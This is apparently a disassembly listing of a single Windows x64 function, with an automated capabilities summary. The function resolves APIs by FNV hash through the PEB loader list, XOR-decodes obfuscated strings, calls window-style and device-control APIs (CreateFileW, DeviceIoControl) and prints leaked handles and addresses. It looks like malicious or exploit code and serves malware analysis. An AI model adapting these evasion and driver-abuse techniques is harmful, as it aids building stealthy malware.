Function at 0x14000e840
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x28]
sub rsp, 0x120
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
movaps xmmword [rax - 0x78], xmm12
mov rax, qword [0x14004c040]
xor rax, rsp
mov qword [rbp - 0x58], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e914
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e914
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x811c9dc5
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e90f
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14000e8f0
cmp edi, 0x98d87e10
je 0x14000e919
test r8d, r8d
jne 0x14000e8d0
mov rax, qword [rax]
jmp 0x14000e8a0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
call rax
mov edx, 0xffffffec
mov rcx, rax
mov rsi, rax
call qword [sym.imp.USER32.dll_GetWindowLongPtrA]
mov edx, 0xffffffec
mov rcx, rsi
bts rax, 0x13
mov r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e9e4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e9e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x811c9dc5
lea rax, [r9 + r8*4]
mov edx, dword [rax + r11]
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000e9df
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, edi
imul edi, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14000e9c0
cmp edi, 0x1de05d54
je 0x14000e9e9
test r8d, r8d
jne 0x14000e9a0
mov rcx, qword [rcx]
jmp 0x14000e970
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov r8b, pe_nt_image_headers64
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r9
mov rcx, rsi
mov r9d, 2
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000eaa4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000eaa4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x811c9dc5
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000ea9f
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14000ea80
cmp edi, 0x9a9264ad
je 0x14000eaa9
test r8d, r8d
jne 0x14000ea60
mov rax, qword [rax]
jmp 0x14000ea30
mov ecx, dword [rbx + 0x24]
xor esi, esi
movups xmm0, xmmword [str.mIZHXZ]
mov eax, dword [0x140044568]
add rcx, r9
movups xmm1, xmmword [0x140044548]
mov r14d, dword [0x14004c090]
mov edi, esi
movdqa xmm8, xmmword [0x140045820]
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
movdqa xmm7, xmmword [0x1400457b0]
add rcx, r9
movdqa xmm12, xmmword [0x140045860]
movdqa xmm9, xmmword [str.5555]
movdqa xmm6, xmmword [0x140045d90]
mov r10d, dword [rcx + rdx*4]
movups xmmword [rsp + 0x40], xmm0
add r10, r9
mov dword [rsp + 0x70], eax
movzx eax, byte [0x14004456c]
mov byte [rsp + 0x74], al
movups xmm0, xmmword [0x140044558]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm0
cmp r14d, 2
jl 0x14000ec38
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x30
jl 0x14000eb50
cmp edi, 0x35
jge 0x14000ec7e
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x35
jl 0x14000ec50
lea rcx, [rsp + 0x40]
call r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140010fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x1400444a3], sil
movsd xmm0, qword [str.zKOUSp_M3kC]
mov ecx, dword [0x1400444a0]
movdqa xmm10, xmmword [0x1400457d0]
movdqa xmm11, xmmword [0x1400457c0]
movsd qword [rbp - 0x80], xmm0
mov dword [rbp - 0x78], ecx
je 0x14000ee3f
mov edi, esi
cmp r14d, 2
jl 0x14000ee0b
movd eax, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.zKOUSp_M3kC]
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x80], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x7c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x7c], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x78], xmm2
jmp 0x14000ee3f
lea r8, [rbp - 0x80]
nop
mov eax, 0x3521cfb3
lea r8, [r8 + 1]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0xc
jl 0x14000ee10
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140010290
mov rcx, rax
call fcn.14000e350
cmp byte [0x14003faaf], sil
movups xmm2, xmmword [0x14003fa98]
movsd xmm0, qword [0x14003faa8]
movups xmmword [rsp + 0x40], xmm2
movsd qword [rsp + 0x50], xmm0
je 0x14000f12f
mov edi, esi
cmp r14d, 2
jl 0x14000f0ed
movdqa xmm3, xmmword [0x1400457e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmm11
movd ecx, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmmword [0x1400457f0]
psubd xmm3, xmm0
movd xmm1, dword [rsp + 0x4c]
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x4c], xmm3
movdqa xmm3, xmmword [0x140045800]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm6
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rsp + 0x54], xmm3
jmp 0x14000f12f
lea r8, [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r8, [r8 + 1]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x18
jl 0x14000f100
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140010290
mov rcx, rax
call fcn.14000e350
cmp qword [0x14004c770], rsi
jne 0x14000f252
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000f1e4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000f1e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x811c9dc5
lea rcx, [r11 + r8*4]
mov ecx, dword [rcx + r9]
add rcx, r9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000f1df
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, edi
imul edi, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000f1c0
cmp edi, 0xf652bc95
je 0x14000f1e9
test r8d, r8d
jne 0x14000f1a0
mov rax, qword [rax]
jmp 0x14000f170
mov ecx, dword [rbx + 0x24]
mov eax, dword [0x14003fab0]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edi, dword [rcx + rdx*4]
lea rdx, [rbp - 0x80]
movzx ecx, word [0x14003fab4]
add rdi, r9
mov dword [rbp - 0x80], eax
movzx eax, byte [0x14003fab6]
xor byte [rbp - 0x7f], 0x39
xor al, 0x3e
xor byte [rbp - 0x7e], 0x3a
xor byte [rbp - 0x7d], 0x3b
mov word [rbp - 0x7c], cx
xor cl, 0x3c
xor byte [rbp - 0x7b], 0x3d
mov byte [rbp - 0x7c], cl
xor ecx, ecx
mov byte [rbp - 0x80], 0x46
mov byte [rbp - 0x7a], al
call rdi
mov qword [0x14004c770], rax
test rax, rax
je 0x14000f152
movzx eax, word [0x14003fb18]
mov edi, esi
mov word [rsp + 0x60], ax
movups xmm0, xmmword [str.VHORTJZ]
movups xmm1, xmmword [0x14003fb08]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r14d, 2
jl 0x14000f378
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x80]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x20
jl 0x14000f290
cmp edi, 0x22
jge 0x14000f3be
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x22
jl 0x14000f390
lea rdx, [rsp + 0x40]
call fcn.140003340
mov qword [rsp + 0x30], rsi
lea rcx, str..019237847183893_187826146798791_8167357189463_8722534623721
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
mov dword [0x14004c888], eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x14004c888]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x40], ecx
mov r9d, 0x10
mov qword [rsp + 0x38], rsi
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x48], rcx
mov edx, 0x2201c8
mov qword [rsp + 0x30], rsi
mov rcx, rax
mov dword [rsp + 0x28], esi
mov qword [0x14004c880], rax
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x44], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp byte [0x140044501], sil
mov rax, qword [rbp - 0x80]
movups xmm2, xmmword [str.zXI]
mov qword [0x14004c860], rax
movzx eax, word [0x140044500]
mov word [rsp + 0x50], ax
movups xmmword [rsp + 0x40], xmm2
je 0x14000f65e
mov edi, esi
cmp r14d, 2
jl 0x14000f622
movdqa xmm3, xmmword [0x1400457e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmm11
movd ecx, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movd xmm1, dword [rsp + 0x4c]
psubd xmm3, xmm0
andps xmm3, xmm8
movd xmm0, ecx
packuswb xmm3, xmm3
mov edi, 0x10
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rsp + 0x4c], xmm3
mov eax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x12
jl 0x14000f630
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140010290
mov rcx, rax
call fcn.14000e600
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x14004c860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140010fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x14003fa93], sil
movups xmm2, xmmword [str.pXT_PX]
mov edx, dword [0x14003fa90]
mov dword [rsp + 0x50], edx
movups xmmword [rsp + 0x40], xmm2
je 0x14000f90f
mov edi, esi
cmp r14d, 2
jl 0x14000f8d5
movdqa xmm3, xmmword [0x1400457e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmm11
movd ecx, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmmword [0x1400457f0]
psubd xmm3, xmm0
movd xmm1, dword [rsp + 0x4c]
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x4c], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
jmp 0x14000f90f
lea r8, [rsp + 0x40]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r8, [r8 + 1]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x14
jl 0x14000f8e0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140010290
mov rcx, rax
call fcn.14000e600
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x14004c880]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140010fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
